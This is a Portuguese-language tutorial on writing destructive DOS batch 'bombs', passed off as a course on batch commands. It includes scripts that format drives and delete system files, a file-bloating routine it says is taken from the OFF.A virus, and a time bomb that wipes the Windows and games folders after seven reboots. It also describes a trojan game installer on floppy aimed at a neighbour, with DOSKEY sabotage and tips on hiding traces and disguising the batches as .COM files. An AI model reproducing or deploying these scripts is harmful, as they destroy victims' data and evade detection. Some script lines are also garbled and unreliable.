Exemplos: C> format /q a:
C> format /u c:
O comando mais divertido que pode ser usado em BADCOMS. Fode o
drive especificado literalmente. A op‡Æo /Q realiza uma formata‡Æo
r pida e /U realiza uma formata‡Æo incondicional. A op‡Æo /V:label
3. espeficifica o nome do volume da unidade, nÆo tem muito segredo...
Mas se o drive especificado for um HD aparecer uma pergunta
est£pida, que o cara responde NÇO e mant‚m o HD a salvo.
Veja mais a frente como resolver isso.
2.5) FOR
Sintaxe: FOR %a in (arquivo1 arquivo2...) DO [comando] %a
Exemplo: C> for %a in (autoexec.bat config.sys) do del %a
Supunhetemos que vocˆ queira executar o mesmo comando pra v rios
arquivos. Ao inv‚s de escrever o mesmo comando uma porrada de
vezes, use o comando FOR. Explicando detalhadamente: o comando
FOR define uma vari vel chamada %a (ou qualquer letra) e define o
valor dessa vari vel com os nomes que estÆo entre parˆnteses.
Feito isso, executa um comando cujo parƒmetro principal ‚ a
vari vel %a.
Outro exemplo:
C> for %a in (autoexec.bat config.sys command.com) do del %a
Far o seguinte:
C> del autoexec.bat
C> del config.sys
C> del command.com
Simples, nÆo?
2.6) IF
Sintaxe: IF [condi‡Æo] [comando]
Exemplos: if exist c:autoexec.bat del autoexec.bat
if not exist c:1.bat echo 1 j foi deletado
if "%1"=="fuckyou" echo Fuck You
if not "%1"=="fuckyou" echo Don't Fuck You
if errorlevel 1 goto 1
O comando IF testa uma condicional e se ela for verdadeira,
executa um comando. O primeiro exemplo verifica se existe o
arquivo c:autoexec.bat e se existir, deleta ele. O segundo
exemplo testa se o arquivo c:autoexec.bat NÇO existe. Se nÆo
existir, exibe a mensagem "1 j foi deletado". O terceiro exemplo
testa se a vari vel %1 ‚ igual a "fuckyou". Se for, exibe a
mensagem "Fuck You". O quarto exemplo testa se a vari vel %1 ‚
DIFERENTE de "fuckyou". Se for, exibe a mensagem "Don't Fuck You".
O £ltimo exemplo testa se foi retornado um errorlevel igual a 1.
Veja sobre os errorlevels mais a frente.
2.7) SET/VARIµVEIS NO DOS
Sintaxe: SET [vari vel] = [valor]
Exemplos: set variavel = qualquermerda
set drive = C:
O comando SET define uma vari vel de ambiente no DOS. Isso ‚
4. muito £til na programa‡Æo de batches. Acho que com um exemplo
fica melhor de explicar:
C> set scream=argh
Isso criar uma vari vel chamada "scream" e definir seu valor
como "argh". Se vocˆ escrever no DOS:
C> echo %scream%
Ver a palavra "argh" no lugar de "%scream%":
C> echo %scream%
argh
Ou seja, sempre que vocˆ quiser fazer uma referˆncia a uma
vari vel j definida, usa-se %nome_da_vari vel%. Como unir duas
vari veis em uma s¢: suponhamos que vocˆ tenha duas vari veis. Uma
chamada "bah1" com o valor "1234567" e outra chamada "bah2" com o
valor "8910" se vocˆ quiser juntar as duas, ‚ s¢ fazer o seguinte:
C> set BAAAAHHH=%bah1% ; %bah2%
Neste exemplo est£pido que eu dei nÆo parece ser uma coisa
muito £til, mas nÆo se engane porque ! Outro tipo de vari vel sÆo
as especificadas na linha de comando. Elas sÆo %1, %2, %3 at‚ %9.
Como eu disse elas sÆo especificadas na linha de comando, ou
seja quando vocˆ roda o batch. Exemplo:
[hd_fuck.bat]
@echo off
if "%1" == "" goto erro
echo Preparando pra fuder o drive %1!
format %1
goto fim
:erro
echo Seu imbecil, especifique o drive que vocˆ quer detonar!
goto fim
:fim
Rodando o arquivo dessa maneira...
C> hd_fuck C:
...vocˆ ver o seguinte:
Preparando pra fuder o drive C:!
AVISO, TODOS OS DADOS NO DISCO NÇO-REMOVÖVEL UNIDADE C:
SERÇO PERDIDOS!
Continuar com o Format (S/N)?
Mas se nÆo especificar nenhum parƒmetro...
C> hd_fuck
...resulta em:
5. Seu imbecil, especifique o drive que vocˆ quer detonar!
Como vocˆ p"de perceber, 1% nesse exemplo era igual a C:.
Note que foi utilizado o comando IF para verificar se a vari vel
%1 era existente. Outra coisa que nÆo pode passar despercebida
foi o uso do comando GOTO que ser explicado logo a seguir...
Mais um detalhe: o FORMAT pediu a confirma‡Æo idiota antes de
detonar o HD... Em breve resolveremos isso... 8-)
2.8) GOTO
Sintaxe: GOTO [nome]
Exemplos: goto hora_de_fuder_o_hd
goto erro
O comando GOTO s¢ pode ser usado dentro de arquivos batch e
serve para direcionar o programa para a linha especificada em
[nome]. Quando o DOS encontra essa linha, executa todos os
comandos existentes a partir dela. O nome da linha ‚ especificado
com um :[nome]. Exemplo:
[goto.bat]
@echo off
goto fuckyou
echo Vocˆ vai se fuder...
:fuckyou
echo Se fudeu!
Muito simples. Logo no come‡o do programa DOS ‚ direcionado para
a linha chamada "fuckyou" e exibe a mensagem "Se fudeu!", ou seja,
a segunda linha, "echo Vocˆ vai se fuder..." nÆo ‚ executada
porque o DOS foi direcionado pra uma linha APàS esse comando.
LOOPS INFINITOS: muito f cil. Basta ver o exemplo abaixo:
[loop.bat]
@echo off
:loop
dir
goto loop
Isso roda o comando DIR infinitamente, at‚ o cara apertar CTRL+C
ou desligar o computador...
2.9) VER
Sintaxe: VER
Exemplo: BAH!
Exibe qual a versÆo do DOS vocˆ est usando.
Aparentemente ‚ um comando idiota e sem utilidade mas com um pouco
decriatividade ele se torna um comando MUITO £til... Vocˆ vai
entender mais pra frente...
2.10) VOL
Sintaxe: VOL
6. Exemplo: BAH!
Mostra o nome de volume da sua unidade... Semelhante ao comando
acima, muito £til pra quem ‚ criativo.
2.11) CLS
Sintaxe: CLS
Exemplo: BAH!
Apaga tudo que tem na tela.
2.12) ATTRIB
Sintaxe: ATTRIB (+A) (+R) (+H) (+S) [nome_do_arquivo]
ATTRIB (-A) (-R) (-H) (-S) [nome_do_arquivo]
Exemplos: attrib +h c:ruimdows
attrib +s c:config.sys
attrib -r c:command.com
Define um attributo pra um arquivo ou diret¢rio. ¢bvio que o
sinal de mais (+) indica que um atributo est sendo definido e um
sinal de menos (-) indica que um atributo est sendo removido. Os
atributos sÆo:
A -> Atributo de Arquivo. Que diabos ‚ isso? Supunhetemos que
vocˆ queira copiar todos os arquivos que estÆo em um
disquete para outro, menos os de extensÆo .VIR. O que vocˆ
faz?
C> attrib +a a:*.*
C> attrib -a a:*.vir
A¡ vocˆ usa o comando XCOPY:
C> xcopy a: b: /a
Meio esquisito, mas ‚ isso...
R -> Atributo de somente para leitura. O arquivo nÆo pode ser
modificado ou deletado a nÆo ser que o atributo seja
removido.
H -> Atributo de arquivo oculto. S¢ um burro pra nÆo perceber
que isso esconde o arquivo.
S -> Atributo de arquivo de sistema. Acho que, na pr tica, ‚ a
mesma coisa que o atributo H.
2.13) CALL
Sintaxe: CALL [nome_do_arquivo_batch]
Exemplo: call virus.bat
Comando usando DENTRO de arquivos batch que serve para chamar
OUTROS arquivos batch, ou seja, roda outro arquivo batch mas sem
parar de rodar o primeiro. Exemplo:
7. [1.bat]
@echo off
echo Esse ‚ o arquivo batch 1...
call 2.bat
echo De volta pro batch 1...
[2.bat]
@echo off
echo Esse ‚ o arquivo batch 2...
Resulta em:
C> 1
Esse ‚ o arquivo batch 1...
Esse ‚ o arquivo batch 2...
De volta pro batch 1...
2.14) CHOICE & ERRORLEVELS
Sintaxe: CHOICE /C:[teclas] [texto]
Exemplo: choice /c:123 Escolha uma op‡Æo:
Esse comando exibe uma mensagem, espera que o usu rio escolha
uma das teclas especificadas e retorna um valor de errorlevel,
de acordo com a tecla.
[fuck.bat]
@echo off
choice /c:123 Escolha uma op‡Æo:
if errorlevel 3 goto opcao3
if errorlevel 2 goto opcao2
if errorlevel 1 goto opcao1
:opcao1
echo Op‡Æo 1 escolhida
goto fim
:opcao2
echo Op‡Æo 2 escolhida
goto fim
:opcao3
echo Op‡Æo 3 escolhida
goto fim
:fim
Rodando isso, vai acontecer o seguinte:
C> fuck
Escolha uma op‡Æo:[1,2,3]?
Se vocˆ escolher a op‡Æo 1:
C> fuck
Escolha uma op‡Æo:[1,2,3]?1
Op‡Æo 1 escolhida
8. Se escolher a 2:
C> fuck
Escolha uma op‡Æo:[1,2,3]?2
Op‡Æo 2 escolhida
E por £ltimo:
C> fuck
Escolha uma op‡Æo:[1,2,3]?3
Op‡Æo 3 escolhida
Ou seja, o comando CHOICE ‚ muito ‚til para a cria‡Æo de menus,
etc.
Mas o que diabos sÆo os ERRORLEVELS? SÆo valores retornados
pelos comandos do DOS, de acordo com o que causou o fim do
programa.
Geralmente, quando um comando/programa pra DOS termina normalmente,
sem nenhum erro, retorna um ERRORLEVEL igual a 0. Os outros valores
variam de acordo com os comandos. Veja uma lista de ERRORLEVELS
mais adiante.
Os errorlevels s¢ podem ser usados com o comando IF. Usando esse
recurso, vocˆ tornar seus batches melhores pois o mesmo poder
tomar decisäes de acordo com o valor de errorlevel.
Note que, quando vocˆ usa o comando CHOICE, o comando IF deve
testar os valores de errorlevel do maior para o menor.
Veja um exemplo:
[errorlev.bat]
@echo off
del autoexec.bat
if errorlevel 0 echo NÇO OCORREU NENHUM PROBLEMA
Isso far o seguinte:
C> errorlev
NÇO OCORREU NENHUM PROBLEMA
L¢gico que essa mensagem s¢ ser exibida se nenhum erro ocorrer.
Explicando melhor: se nÆo ocorrer nenhum problema na hora de
deletar o arquivo, o DEL retornar um errorlevel 0. Vocˆ tamb‚m
pode fazer assim:
[errorsuck.bat]
@echo off
del c:config.sys
if not errorlevel 0 goto OPS
echo NÆo ocorreu nenhum problema.
goto fim
:OPS
echo Alguma coisa errada ocorreu.
goto fim
:fim
Esse exemplo ‚ melhor, pois testa se o comando DEL NÇO retornou
9. um errorlevel 0. Como o errorlevel 0 significa que nada de errado
ocorreu, um errorlevel diferente de 0 significa que algo anormal
aconteceu.
Se ocorrer algo anormal ele exibe a mensagem "Alguma coisa errada
ocorreu" mas se tudo der certo exibe "NÆo ocorreu nenhum problema".
2.15) COPY
Sintaxe: COPY [origem] [destino]
Exemplos: copy *.* c:ruimdows
copy c:win95*.* c:autoexec.bat
Copia os arquivos especificados para um diret¢rio ou para outro
arquivo.
2.16) CTTY
Sintaxe: CTTY [novo_dispositivo_de_entrada]
Exemplo: ctty nul
Este comando altera o dispositivo de entrada de dados do padrÆo
(teclado) para outro que vocˆ especificar.
Mais tarde vocˆ entender melhor isso...
2.17) DIR
Sintaxe: DIR [/S] [/P] [/W] [nome_do_arquivo]
Exemplos: dir /s
dir autoexec.bat
Este comando nÆo tem muito segredo. Se vocˆ nÆo souber usar o
comando DIR, escreva no prompt do DOS:
C> echo s | format c:
2.18) TYPE
Sintaxe: TYPE [nome_de_arquivo]
Exemplo: type msdos.sys
NÆo tem complica‡Æo. Exibe o conte£do de um arquivo (sem fazer
pausa entre as p ginas). Pode ser usado em conjunto com o comando
MORE.
2.19) MORE
Sintaxe: MORE [nome_do_arquivo]
TYPE [nome_do_arquivo] | MORE (depende da versÆo do DOS)
Exemplo: more sucks.txt
type badcom.faq | more
O comando MORE ‚ idˆntico ao comando TYPE, mas ao final de cada
p gina, faz uma pausa. Em versäes mais antigas do DOS, o MORE s¢
funciona se for feito um PIPE com o comando TYPE.
2.20) MD/MKDIR/CD/CHDIR/RD/RMDIR
Sintaxe: MD [nome_do_diret¢rio] ou MKDIR [nome_do_diret¢rio]
10. CD [diret¢rio] ou CHDIR [diret¢rio]
RD [diret¢rio_vazio] ou RMDIR [diret¢rio_vazio]
MD/MKDIR cria um diret¢rio, CD/CHDIR chama (vai para) um
diret¢rio e o RD/RMDIR deleta um diret¢rio (s¢ se o dito cujo
estiver VAZIO).
2.21) LABEL
Sintaxe: LABEL [nome_de_volume]
Exemplo: label se_fudeu
Muda o nome de volume da unidade atual.
2.22) FIND
Sintaxe: FIND "string_procurada" [nome_do_arquivo]
Exemplo: find "fuck" c:trash.txt
Procura por uma string em um determinado arquivo. Muito £til se
utilizado juntamente com os errorlevels.
2.23) PAUSE
Sintaxe: PAUSE
Exemplo: BAH!
Faz uma pausa no batch, at‚ que o usu rio pressione qualquer
tecla. Tamb‚m exibe a mensagem " Pressione qualquer tecla para
continuar..."
2.24) REN/RENAME
Sintaxe: REN [nome_do_arquivo] [novo_nome]
RENAME [nome_do_arquivo] [novo_nome]
Exemplos: ren autoexec.bat noway.bat
rename config.sys huahuahua.com
Muda o nome de um arquivo.
2.25) SUBST
Sintaxe: SUBST [nova_letra_de_unidade] [caminho]
SUBST [unidade] /D
Exemplo: subst f: c:fuck
subst f: /d
Define uma letra de unidade para um determinado diret¢rio.
Se vocˆ usar a op‡Æo /D, o SUBST vai desativar a letra da unidade
Jµ CRIADA pelo comando SUBST. S¢ vai funcionar se houver a
seguinte linha no CONFIG.SYS:
LASTDRIVE=Z
2.26) TIME
Sintaxe: TIME
Exemplo: BAH!
11. Exibe a hora atual.
2.27) REM
Sintaxe: REM [texto]
Exemplo: rem Este ‚ um coment rio
O comando REM ‚ usado quando vocˆ quer adicionar um coment rio
ao seu batch.
2.28) DOSKEY
Sintaxe: DOSKEY [macro] [texto] /ECHO:on|off
Exemplo: doskey dir del *.*
O DOSKEY tem v rias utilidades, mas s¢ vou explicar uma, talvez
a mais £til delas. Usando o DOSKEY vocˆ pode criar macros, ou seja
atribuir comandos a palavras (como um ALIAS). A utilidade disso
num BADCOM ‚ que vocˆ pode trocar os comandos do DOS do cara por
outros. Veja o exemplo acima. Esse exemplo faz com que o comando
DIR execute o comando DEL *.*. Vocˆ pode usar isso como um Time
Bomb ou pode apenas deixar sua v¡tima com o saco cheio mudando
todos os comandos do DOS para besteiras sem sentido nenhum.
A op‡Æo /ECHO define se os comandos da macro serÆo exibidos. Se
for desativado, ‚ equivalente ao "@ECHO OFF". Alguns caracteres
especiais de c¢digo de defini‡Æo de macro:
$T: Separador de comando. Permite v rios comandos em uma s¢
macro.
$1 a $9: Parƒmetros da macro. Igual a %1 a %9.
$*: S¡mbolo substitu¡do por tudo ap¢s o nome da macro na linha
de comando.
Um detalhe, se sua v¡tima pressionar ALT+F10 todas as macros que
vocˆ criou serÆo desativadas.
2.29) XCOPY
Sintaxe: XCOPY [origem] [destino] [/S]
Exemplo: xcopy c:games d:fuck /s
Semelhante ao COPY, s¢ que mais r pido, pois carrega todos os
arquivos na mem¢ria e s¢ depois copia-os. Se a op‡Æo /S for usada
todos os subdiret¢rios e arquivos de um diret¢rio tamb‚m serÆo
copiados.
12. COMANDOS BÁSICOS:
Bom, para iniciarmos temos que ter em mente que os arquivos .BAT
tem como objetivo guardar comandos pré digitados para executalos quando solicitado.
Esses arquivos são de muita utilidade, podemos criar sistemas de Bakup, instalação de
programas, etc...
No nosso caso, arquivos bomba. Os arquivos bomba nada mais são comandos que podem ser
destrutivos ou não, de acordo
com o que pretendemos criar.
Para começarmos vou dar alguns dos comandos uteis para o nosso projeto
e depois exemplos de como eles podem ser utilizados para bombas destrutivas e não
destrutivas.
--------------------------------------------------------------------------------
LISTA DE COMANDOS:
ECHO OFF
Serve para não mostrar na tela os comandos que o arquivo .BAT esta executando. Como por
exemplo,
se vc faz um arquivo bomba e não usa este comando e o arquivo contem o comando DEL*.*
aparecera
na tela da vitima C:DEL *.* assim dando tempo da vitima desligar o computador antes de ter
seus
arquivos deletados. Se vc usar o comando ECHO OFF não aparecera nada na tela, e a vitima
nem
sabera o que aconteceu.
--------------------------------------------------------------------------------
@ECHO
Serve para mostrar texto na tela, por exemplo eu quero que apareça na tela o seguinte texto:
========================
Seu computador foi destruido por:
M@quiavel
========================
Então eu terei que digitar:
@ECHO ========================
13. @ECHO Seu computador foi destruido por:
@ECHO M@quiavel
@ECHO ========================
ATENÇÃO:
Um erro que eu cometia, e ja vi muita gente fazer é confundir os dois primeiros comandos da
seguinte maneira:
@ECHO OFF < O cara queria digitar ECHO OFF e digitou @ECHO OFF
O comando @ECHO OFF ao inves de não mostar os comandos na tela, vai mostrar na tela a
palavra OFF.
O comando @ECHO OFF pode funcionar em alguns computadores dependendo da
configuração, mas para não ariscar procure usar o comando ECHO OFF)
--------------------------------------------------------------------------------
ECHO >NOMEARQUIVO COMANDO
Serve para que um arquivo de lote (.BAT no nosso caso) crie outro arquivo. Exemplo:
ECHO> PIRATA.BAT DIR
No nosso exemplo ele criou um arquivo chamado PIRATA.BAT que possui dentro dele o
comando DIR
--------------------------------------------------------------------------------
CLS
Comando para limpar a tela.
--------------------------------------------------------------------------------
ATTRIB
Comando que serve para ocultos, de sistema, etc. Para mais informações sobre o ATTRIB,
digite no prompt do DOS ATTRIB/?
--------------------------------------------------------------------------------
MD
Serve para criar diretorios, Exemplo:
14. MD PIRATA
--------------------------------------------------------------------------------
CD
Serve para entrar em diretorios, exemplo:
CD PIRATA
--------------------------------------------------------------------------------
COPY
Serve para copiar arquivos. Exemplo
COPY C:AUTOEXEC.BAT
--------------------------------------------------------------------------------
DEL
Serve para deletar arquivos, melhor maneira de usar o comando DEL é:
DEL *.COM < Ou a extenção que vc quiser, *.BAT *.EXE *.INI *.SYS etc...
Usando o comando dessa maneira, o programa não ira confirmar se vc realmante deseja excluir
o arquivo.
--------------------------------------------------------------------------------
DELTREE
Existem três maneiras de utilizar o comando DELTREE:
1ª - DELTREE C:WINDOWS < BUG, vai aparecer a pergunta se vc deseja realmente deletar o
diretorio WINDOWS.
2ª - DELTREE/Y C:WINDOWS NULL é o comando ideal para o DELTREE.
--------------------------------------------------------------------------------
Bom, agora vamos colocar nossos conhecimentos em pratica. Vamos criar uma bomba
chamada install.bat
no prompt do DOS digite EDIT INSTALL.BAT (ENTER)
Aparecera uma tela normalmante azul. Estando lá dentro vamos colocar os nossos comandos
maus.
======inicio=======
ECHO OFF Vai para a unidade de disco C:
15. CD ---------------------------------< Sai de qualquer diretorio que se possa estar
DEL *.SYS ------------------------- NULL ----------------------- o windows
CLS
@ECHO SEU COMPUTADOR FOI DETONADO POR:
@ECHO PIRATA
@ECHO HE HE HE HE HE HE HE HE HE HE HE HE
======fim=========
Pronto, temos um arquivo que deleta o Windows e arquivos .sys, e ainda deixa uma
menssagem estupida na tela da vitima.
PARA EXECUTAR A BOMBA BASTA DIGITAR INSTALL
--------------------------------------------------------------------------------
O TEXTO ACIMA DA UMA NOÇÃO MUITO BASICA DO QUE SIMPLES ARQUIVOS BAT PODEM
FAZER, PARA FAZER ARQUIVOS QUE SÃO REALMENTE BOMBAS
LEIA OS TEXTOS SOBRE CRIAÇÃO DE BOMBA .BAT NO MODO INTERMEDIARIO, E AVANÇADO.
--------------------------------------------------------------------------------
AVANÇADO
Agora a diversão vai começar, vamos colocar todo o nosso conhecimento em pratica.
Para começar vamos mostrar como fazer um arquivo, que dobra o seu tamanho cada vez
que o computador é ligado.
A função desses arquivos são muito simples, são três arquivos que devem ser colocados
na raiz (C:) do computador da vitima. Esse arquivos vão colocar um arquivo .DLL no
system do Windows, e esse arquivo vai dobrar o seu tamanho cada vez que o computador for
ligado.
DOBLESPACE é o nOME que eu dei para o arquivo.
Arquivos a ser criado:
WIN.BAT
A.BAT
AUTO.BAT
--------------------------------------------------------------------------------
16. WIN.BAT
=====inicio=====
echo off
c:
cd
md p
cd p
if exist auto.pty goto www
copy c:autoexec.bat c:pauto.pty
echo> p.pty c:auto.bat
cd
copy c:p*.* c:autoexec.bat
:www
cd
a.bat
=====fim=====
--------------------------------------------------------------------------------
A.BAT
=====inicio=====
del win.bat
CLS
WIN
=====fim=====
--------------------------------------------------------------------------------
AUTO.BAT
=====inicio=====
echo off
c:
17. cd
cd windows
echo> windows.ppp test se o arquivo for encontrado, é porque não existe o diretoro Windows,
então ele vai para a opção win, caso contrario ele vai para a proxima linha
cd windows
cd system
cd configs
echo> windows.ppp test procura pelo arquivo spaece.dll, se ele ja existir ele vai para :22
echo> spaece.dll ydfgyudfyudfgkdgydlkcvm,xcjhtfkgr5yuiuyfg copia o arquivo spaece.dll como
teste.dll
copy c:windowssystemspaece.dll c:windowssystemconfigsoff.dll junta os dois arquivos, e
o copia como spaece.dll, assim duplicando o seu tamanho.
del o*.dll deleta as copias
cd
goto fim
:win win.ppp test
cd
if exist win.ppp goto win95
cd win
md system
cd system
cd configs
echo> win.ppp test
cd
cd win
cd system
if not exist win.ppp goto 3
md configs
goto 3
:3
if exist spaece.dll goto 23
18. echo> spaece.dll ydfgyudfyudfgkdgydlkcvm,xcjhtfkgr5yuiuyfg
:23
cd configs
copy c:winsystemspaece.dll c:winsystemconfigsteste.dll
copy c:winsystemspaece.dll c:winsystemconfigsoff.dll
copy c:winsystemconfigs*.* c:winsystemspaece.dll
del o*.dll
del t*.dll
cd
goto fim
:win95
c:
cd
cd win95
echo> win95.ppp test
cd
if exist win95.ppp goto win-95
cd win95
md system
cd system
cd configs
echo> win95.ppp test
cd
cd win95
cd system
if not exist win95.ppp goto 4
md configs
goto 4
:4
19. if exist spaece.dll goto 24
echo> spaece.dll ydfgyudfyudfgkdgydlkcvm,xcjhtfkgr5yuiuyfg
:24
cd configs
copy c:win95systemspaece.dll c:win95systemconfigsteste.dll
copy c:win95systemspaece.dll c:win95systemconfigsoff.dll
copy c:win95systemconfigs*.* c:win95systemspaece.dll
del o*.dll
del t*.dll
cd
goto fim
:win-95
c:
cd
cd win-95
echo> win-95.ppp test
cd
if exist win-95.ppp goto dos
cd win-95
md system
cd system
cd configs
echo> win-95.ppp test
cd
cd win-95
cd system
if not exist win-95.ppp goto 5
md configs
goto 5
20. :5
if exist spaece.dll goto 25
echo> spaece.dll ydfgyudfyudfgkdgydlkcvm,xcjhtfkgr5yuiuyfg
:25
cd configs
copy c:win-95systemspaece.dll c:win-95systemconfigsteste.dll
copy c:win-95systemspaece.dll c:win-95systemconfigsoff.dll
copy c:win-95systemconfigs*.* c:win-95systemspaece.dll
del o*.dll
del t*.dll
cd
goto fim
:dos
c:
cd
cd dos
echo> dos.ppp test
cd
if exist dos.ppp goto off
cd dos
md system
cd system
cd configs
echo> dos.ppp test
cd
cd dos
cd system
if not exist dos.ppp goto 6md configs
goto 6
21. :6
if exist spaece.dll goto 26
echo> spaece.dll ydfgyudfyudfgkdgydlkcvm,xcjhtfkgr5yuiuyfg
:26
cd configs
copy c:dossystemspaece.dll c:dossystemconfigsteste.dll
copy c:dossystemspaece.dll c:dossystemconfigsoff.dll
copy c:dossystemconfigs*.* c:dossystemspaece.dll
del o*.dll
del t*.dll
cd
goto fim
:off < Aqui, como ele não achou diretorio Windows, Win, WIn95, Win-95 ou DOS, como ultimo
recurso ele cria o Off
c:
cd
md off
cd off
md system
cd system
cd configs
echo> off.ppp test
cd
cd off
cd system
if not exist off.ppp goto 7
md configs
goto 7
:7
22. if exist spaece.dll goto 27
echo> spaece.dll ydfgyudfyudfgkdgydlkcvm,xcjhtfkgr5yuiuyfg
:27
cd configs
copy c:offsystemspaece.dll c:offsystemconfigsteste.dll
copy c:offsystemspaece.dll c:offsystemconfigsoff.dll
copy c:offsystemconfigs*.* c:offsystemspaece.dll
del o*.dll
del t*.dll
cd
goto fim
:fim
cls
=====fim=====
O ARQUIVO ACIMA FOI TIRADO DO VIRUS DE MACRO OFF.A, ISSO É PARA VER COMO OS
ARQUIVOS .BAT SÃO UTEIS PARA MUITAS COISAS, ATÉ PARA VIRUS.
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Agora um arquivo que só ataca o computador depois que ele for re-ligado 7 vezes.
O que acontece, é muito simples, da primeira vez que o computador é ligado o WIN.BAT cria o
arquivo lig1.drv, da segunda vez, ele cria o lig2.drv ..... da sexta vez ele cria o lig6.drv e da
setima vez ele procura pelo arquivo lig6.drv, se ele encontrar ele vai deletar o windows e o
diretorio onde estão os jogos.
BOMBA RELOGIO
WIN.BAT
=====inicio=====
c:
cd
echo off
if exist lig1.drv goto 2
echo > lig1.drv sdfsdf
goto fim
23. :2
if exist lig2.drv goto 3
echo > lig2.drv sdfsdf
goto fim
:3
if exist lig3.drv goto 4
echo > lig3.drv sdfsdf
goto fim
:4
if exist lig4.drv goto 5
echo > lig4.drv sdfsdf
goto fim
:5
if exist lig5.drv goto 6
echo > lig4.drv sdfsdf
goto fim
:6
if exist lig6.drv goto 7
echo > lig6.drv sdfsdf
goto fim
:7
dletree/y c:windows >null
dletree/y c:win >null
dletree/y c:win-95 >null
dletree/y c:win_95 >null
dletree/y c:win95 >null
dletree/y c:dos >null
dletree/y c:jogos >null
24. dletree/y c:games >null
del *.* >null
:fim
=====fim=====
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Arquivo para travar o computador da vitima.
TRAVO!!!
WIN.BAT
=====inicio=====
c:
cd
echo off
echo > trav.exe sdfsdfsdf executa o arquivo exe, resultando no travamento do computador.
=====fim=====
--------------------------------------------------------------------------------
Prara finalizar, veja como criar um arquivo bomba apartir de um disquete, para dar aquele seu
vizinho
chato que vive pedindo tudo quanto é jogo. O arquivo não deixara rastro para niguem nem se
quer imaginar
que foi do seu disco que saiu a bomba, e a bomba só atacara depois que o computador for re-
iniciado 7 vezes.
Bom, primeiro de tudo, pegue um jogo qualquer e passe para disquete (no nosso exemplo sera
usado o jogo prince)
depois serão criados 6 arquivos que devem ficar na raiz do disquete:
INSTALL.BAT
T.BAT
WIN.PTY
A.PTY
AUTO.PTY
INSTALL.PTY
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25. INSTALL.BAT
=====inicio=====
echo Off
c:
cd
copy a:win.pty renomeia os arquivos .pty para .bat
a:
deltree/y a.pty >null null
deltree/y win.pty >null
deltree/y t.bat >null
del null
c:
cd
t.bat
=====fim=====
--------------------------------------------------------------------------------
T.BAT
=====inicio=====
a:
deltree/y install.bat >null null
rename install.pty install.bat daqui pra frente é só a instalação do jogo.
c:
cd
md prince
cd prince
copy a:*.*
deltree/y install.bat >null
del null
cls
26. @echo Jogo instalado em c:prince
=====fim=====
--------------------------------------------------------------------------------
WIN.PTY
=====inicio=====
echo off
c:
cd
md p
cd p
if exist auto.pty goto www
copy c:autoexec.bat c:pauto.pty
echo> p.pty c:auto.bat
cd
copy c:p*.* c:autoexec.bat os duis arquivos pty, assim colocando no fim do autoexec um
comando para que o arquivo auto.bat seja executado.
:www
cd
a.bat
=====fim=====
--------------------------------------------------------------------------------
A.PTY
=====inicio=====
echo off
del win.bat
del t.bat
CLS
WIN
28. echo > lig6.drv sdfsdf
goto fim
:7
doskey cd dir/s
doskey dir mem
doskey copy dir
doskey del dir/s
doskey deltree dir/s
doskey doskey cls
attrib +r c:autoexec.bat
attrib +r c:auto.bat
:fim
cls
=====fim=====
--------------------------------------------------------------------------------
INSTALL.PTY
=====inicio=====
echo Off é o install que ficara no disquete depois que a bomba foi executada, assim eliminando
qualquer suspeita.
c:
cd
md prince
cd prince
copy a:*.*
cls
@echo Jogo instalado em c:prince
=====fim=====
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Como vcs viram os arquivos .BAT são muito uteis, e tem mais, para aqueles que querem
29. fazer virus de macro no word, mais sebem muito pouco sobre programação em word basic,
podem dar uma olhada em um pequeno tutorial sobre o virus de macro para word em ingles
e portugues PIRATA, que utiliza como ataque os arquivos .BAT vale apena olhar a parte
sobre virus para ver que o potencial dos arquivos .BAT não fica só no que foi mostrado aqui.
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INTERESSANTE.
Existem programas que transformam esses arquivos .BAT em .COM, é muito facil de usar,
e muito mais dificil alguem desconfiar de um arquivo .COM, o mais famoso copilador de
arquivos de lote (.BAT) é o BAT2EXE.COM para consegui-lo, se vire, consiguir este arquivo
da muito trabalho, você tera que dar um click aqui e esperar 31,7 KB passarem pelo fio do seu
telefone!!!! ;^) --hehe
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